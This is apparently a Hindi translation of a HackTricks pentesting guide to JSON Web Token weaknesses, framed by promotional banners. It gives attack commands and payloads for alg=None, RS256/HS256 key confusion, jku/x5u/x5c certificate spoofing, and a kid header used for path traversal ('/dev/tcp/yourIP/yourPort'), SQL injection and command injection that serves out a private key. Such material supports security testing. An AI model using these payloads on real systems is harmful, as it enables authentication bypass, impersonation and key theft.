32 KiB
JWT संवेदनशीलताएँ (Json Web Tokens)
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
Bug bounty tip: Intigriti के लिए साइन अप करें, एक प्रीमियम bug bounty platform जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही हमसे जुड़ें https://go.intigriti.com/hacktricks पर, और $100,000 तक के बाउंटीज कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
इस पोस्ट का एक हिस्सा यहाँ से लिया गया है: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs को pentest करने के लिए बनाए गए शानदार टूल के लेखक https://github.com/ticarpi/jwt_tool
त्वरित जीत
jwt_tool को All Tests!
मोड में चलाएं और हरे रंग की लाइनों का इंतजार करें
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
यदि आप भाग्यशाली हैं तो उपकरण कुछ ऐसे मामले खोज निकालेगा जहां वेब एप्लिकेशन JWT की जांच गलत तरीके से कर रहा है:
फिर, आप अपने प्रॉक्सी में अनुरोध को खोज सकते हैं या उस अनुरोध के लिए प्रयुक्त JWT को jwt_ tool का उपयोग करके डंप कर सकते हैं:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
डेटा में हेरफेर बिना कुछ बदले
आप डेटा में हेरफेर कर सकते हैं और हस्ताक्षर को जैसा है वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर हस्ताक्षर की जांच कर रहा है। उदाहरण के लिए अपना उपयोगकर्ता नाम "admin" में बदलने का प्रयास करें।
क्या टोकन की जांच की जाती है?
- यदि कोई त्रुटि संदेश आता है तो हस्ताक्षर की जांच की जा रही है - किसी भी विस्तृत त्रुटि जानकारी को पढ़ें जो कुछ संवेदनशील जानकारी लीक कर सकती है।
- यदि वापस आने वाला पृष्ठ अलग है तो हस्ताक्षर की जांच की जा रही है।
- यदि पृष्ठ वही है तो हस्ताक्षर की जांच नहीं की जा रही है - Payload claims में हेरफेर करने का समय आ गया है ताकि आप देख सकें कि आप क्या कर सकते हैं!
मूल
अपने प्रॉक्सी के अनुरोध इतिहास में जांचें कि टोकन कहां से आया है। इसे सर्वर पर बनाया जाना चाहिए, क्लाइंट पर नहीं।
- यदि यह पहली बार क्लाइंट-साइड से आता दिखाई दिया तो कुंजी क्लाइंट-साइड कोड के लिए सुलभ है - इसे खोजें!
- यदि यह पहली बार सर्वर से आता दिखाई दिया तो सब ठीक है।
अवधि
जांचें कि क्या टोकन 24h से अधिक समय तक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही ढंग से संभाल रहा है।
HMAC सीक्रेट की ब्रूट-फोर्स
एल्गोरिदम को None में बदलें (CVE-2015-9235)
उपयोग किए जाने वाले एल्गोरिदम को "None" पर सेट करें और हस्ताक्षर भाग को हटा दें।
इस कमजोरी को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन का उपयोग करें "JSON Web Token" (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का चयन भी कर सकते हैं)।
एल्गोरिदम RS256(असममित) को HS256(सममित) में बदलें (CVE-2016-5431/CVE-2016-10555)
HS256 एल्गोरिदम प्रत्येक संदेश को हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।
RS256 एल्गोरिदम संदेश को हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर HS256 एल्गोरिदम का उपयोग करके हस्ताक्षर को सत्यापित करता है।
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलकर हम एक वैध हस्ताक्षर बना सकते हैं। आप वेब सर्वर का प्रमाणपत्र इसे निष्पादित करके प्राप्त कर सकते हैं:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
हेडर में नई पब्लिक की
एक हमलावर टोकन के हेडर में एक नई की एम्बेड करता है और सर्वर इस नई की का उपयोग करके हस्ताक्षर को सत्यापित करता है (CVE-2018-0114)।
यह "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।
(रिक्वेस्ट को Repeater में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और रिक्वेस्ट भेजें)।
JWKS Spoofing
यदि टोकन में “jku” हेडर क्लेम का उपयोग होता है, तो प्रदान किए गए URL की जांच करें। इसे एक URL की ओर इंगित करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को ताम्पर करें ताकि jku मान आपके द्वारा मॉनिटर किए जा सकने वाले वेब सर्विस की ओर इंगित करे।
यदि आपको HTTP इंटरैक्शन मिलता है, तो अब आप जानते हैं कि सर्वर आपके द्वारा प्रदान किए गए URL से कीज़ लोड करने की कोशिश कर रहा है। jwt_tool के -S फ्लैग का उपयोग करें और -u http://example.com आर्ग्युमेंट के साथ एक नई की जोड़ी जेनरेट करें, अपना प्रदान किया गया URL इंजेक्ट करें, एक JWKS जेनरेट करें जिसमें पब्लिक की हो, और प्राइवेट की के साथ टोकन साइन करें
Kid मुद्दे
kid
एक वैकल्पिक हेडर क्लेम है जो एक की आइडेंटिफायर रखता है, विशेष रूप से तब उपयोगी होता है जब आपके पास टोकन्स को साइन करने के लिए कई कीज़ होती हैं और आपको हस्ताक्षर को सत्यापित करने के लिए सही एक को खोजने की आवश्यकता होती है।
"kid" मुद्दे - की प्रकट करना
यदि हेडर में "kid" क्लेम का उपयोग होता है, तो उस फाइल या उसके वेरिएशन के लिए वेब डायरेक्टरी की जांच करें। उदाहरण के लिए यदि "kid":"key/12345"
तो /key/12345 और /key/12345.pem को वेब रूट पर देखें।
"kid" मुद्दे - पाथ ट्रैवर्सल
यदि हेडर में "kid" क्लेम का उपयोग होता है, तो जांचें कि क्या आप फाइल सिस्टम में एक अलग फाइल का उपयोग कर सकते हैं। एक ऐसी फाइल चुनें जिसकी सामग्री का आप अनुमान लगा सकें, या शायद "kid":"/dev/tcp/yourIP/yourPort"
का प्रयास करें कनेक्टिविटी की जांच के लिए, या कुछ SSRF पेलोड्स...
jwt_tool के -T फ्लैग का उपयोग करके JWT को ताम्पर करें और kid क्लेम के मान को बदलें, फिर मूल हस्ताक्षर को रखने का चयन करें
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
"kid" मुद्दे - SQL इंजेक्शन
जब "kid" की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो आप "kid" पैरामीटर के अंदर पेलोड को बदल सकते हैं: non-existent-index' UNION SELECT 'ATTACKER';-- -
और फिर JWT को ATTACKER
सीक्रेट की के साथ साइन करें।
"kid" मुद्दे - OS इंजेक्शन
जब "kid" पैरामीटर में की के साथ फाइल का पथ होता है और इस पथ का उपयोग कमांड के अंदर निष्पादित किया जा रहा हो, तो आप RCE प्राप्त कर सकते हैं और निम्नलिखित पेलोड के साथ प्राइवेट की को उजागर कर सकते हैं: /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
विविध हमले
निम्नलिखित ज्ञात कमजोरियां हैं जिनका परीक्षण किया जाना चाहिए।
क्रॉस-सर्विस रिले हमले
कुछ वेब एप्लिकेशन एक विश्वसनीय JWT 'सेवा' का उपयोग करते हैं जो उनके लिए टोकन उत्पन्न करती है और प्रबंधित करती है। अतीत में कुछ उदाहरण हुए हैं जहां एक JWT सेवा के ग्राहकों के लिए उत्पन्न टोकन वास्तव में JWT सेवा के अन्य ग्राहकों द्वारा स्वीकार किया जा सकता है।
यदि आप देखते हैं कि JWT किसी तृतीय-पक्ष सेवा के माध्यम से जारी या नवीनीकृत हो रहा है, तो यह जांचने लायक है कि क्या आप उस सेवा के अन्य ग्राहकों पर अपने समान उपयोगकर्ता नाम/ईमेल के साथ एक खाता बना सकते हैं। यदि हां, तो उस टोकन को लेकर अपने लक्ष्य के लिए एक अनुरोध में पुनः चलाने का प्रयास करें। क्या यह स्वीकार किया जाता है?
- यदि आपका टोकन स्वीकार किया जाता है, तो आपके पास किसी भी उपयोगकर्ता के खाते को स्पूफ करने की एक महत्वपूर्ण समस्या हो सकती है। हालांकि, ध्यान रखें कि यदि आप किसी तृतीय-पक्ष एप्लिकेशन पर साइन अप कर रहे हैं तो आपको व्यापक परीक्षण अनुमतियों के लिए अनुमति मांगने की आवश्यकता हो सकती है, क्योंकि यह कानूनी धूसर-क्षेत्र में प्रवेश कर सकता है!
क्या exp की जांच की जाती है?
"exp" पेलोड दावा का उपयोग टोकन की समाप्ति की जांच के लिए किया जाता है। चूंकि JWTs अक्सर सत्र जानकारी के अभाव में उपयोग किए जाते हैं, इसलिए उन्हें सावधानी से संभालने की जरूरत होती है - कई मामलों में किसी और के JWT को कैप्चर करना और पुनः चलाना आपको उस उपयोगकर्ता के रूप में प्रच्छन्न करने की अनुमति देगा।
JWT पुनरावृत्ति हमलों के खिलाफ एक उपाय (जिसे JWT RFC द्वारा सलाह दी गई है) "exp" दावे का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करना है। यह भी महत्वपूर्ण है कि एप्लिकेशन में संबंधित जांचें स्थापित की जाएं ताकि यह सुनिश्चित किया जा सके कि यह मूल्य संसाधित हो और टोकन को अस्वीकार किया जाए जहां यह समाप्त हो गया है। यदि टोकन में "exp" दावा होता है और परीक्षण समय सीमाएं इसकी अनुमति देती हैं - टोकन को स्टोर करने और समाप्ति समय के बाद इसे पुनः चलाने का प्रयास करें। jwt_tool के -R फ्लैग का उपयोग करें टोकन की सामग्री को पढ़ने के लिए, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच शामिल है (टाइमस्टैम्प UTC में)
- यदि टोकन अभी भी एप्लिकेशन में मान्य होता है, तो यह एक सुरक्षा जोखिम हो सकता है क्योंकि टोकन कभी भी समाप्त नहीं हो सकता है।
x5u और jku
jku
jku का मतलब है JWK Set URL।
यदि टोकन "jku" Header दावे का उपयोग करता है, तो प्रदान किए गए URL की जांच करें। यह एक URL की ओर इशारा करना चाहिए जिसमें JWKS फाइल होती है जो टोकन को सत्यापित करने के लिए पब्लिक की रखती है। टोकन को तोड़कर jku मान को एक वेब सेवा की ओर इशारा करने के लिए बदलें जिसके लिए आप ट्रैफिक की निगरानी कर सकते हैं।
सबसे पहले आपको नए प्राइवेट और पब्लिक कीज़ के साथ एक नया सर्टिफिकेट बनाने की जरूरत है
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
तब आप jwt.io का उपयोग करके नया JWT बना सकते हैं बनाए गए सार्वजनिक और निजी कुंजियों के साथ और पैरामीटर jku को बनाई गई प्रमाणपत्र की ओर इंगित करते हुए। एक मान्य jku प्रमाणपत्र बनाने के लिए आप मूल प्रमाणपत्र को डाउनलोड कर सकते हैं और आवश्यक पैरामीटर्स में परिवर्तन कर सकते हैं।
आप एक सार्वजनिक प्रमाणपत्र से पैरामीटर्स "e" और "n" प्राप्त कर सकते हैं इसका उपयोग करके:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. एक URI जो PEM फॉर्म में एन्कोडेड X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले वाले को हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा आवश्यक है।
इस हेडर को अपने नियंत्रण में एक URL में बदलने का प्रयास करें और जांचें कि क्या कोई अनुरोध प्राप्त होता है। ऐसे मामले में आप JWT को बदल सकते हैं।
आपके द्वारा नियंत्रित प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाने और सार्वजनिक और निजी कुंजियों को निकालने की आवश्यकता है:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
तब आप उदाहरण के लिए jwt.io का उपयोग करके नया JWT बना सकते हैं बनाए गए सार्वजनिक और निजी कुंजियों के साथ और x5u पैरामीटर को बनाई गई .crt प्रमाणपत्र की ओर इंगित करते हुए।
आप इन दोनों दोषों का उपयोग SSRFs के लिए भी कर सकते हैं।
x5c
इस पैरामीटर में base64 में प्रमाणपत्र हो सकता है:
यदि हमलावर एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नवनिर्मित प्रमाणपत्र के साथ बदलता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
एम्बेडेड पब्लिक की (CVE-2018-0114)
यदि JWT में निम्नलिखित परिदृश्य की तरह एक पब्लिक की एम्बेडेड है:
निम्नलिखित nodejs स्क्रिप्ट का उपयोग करके उस डेटा से एक पब्लिक की जनरेट की जा सकती है:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
एक नई निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नई सार्वजनिक कुंजी को टोकन के अंदर सम्मिलित करें और इसका उपयोग एक नए हस्ताक्षर को उत्पन्न करने के लिए करें:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
आप इस nodejs स्क्रिप्ट का उपयोग करके "n" और "e" प्राप्त कर सकते हैं:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
JTI (JWT ID)
JTI (JWT ID) दावा JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः चलाने से रोकने के लिए किया जा सकता है।
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके एक अनुरोध को पुनः चला सकते हैं (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होती है)।
JWT पंजीकृत दावे
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
उपकरण
{% embed url="https://github.com/ticarpi/jwt_tool" %}
बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! हमसे https://go.intigriti.com/hacktricks पर आज ही जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सदस्यता योजनाएं देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group या telegram group में शामिल हों या Twitter पर मुझे 🐦 @carlospolopm** का अनुसरण करें**।
- HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।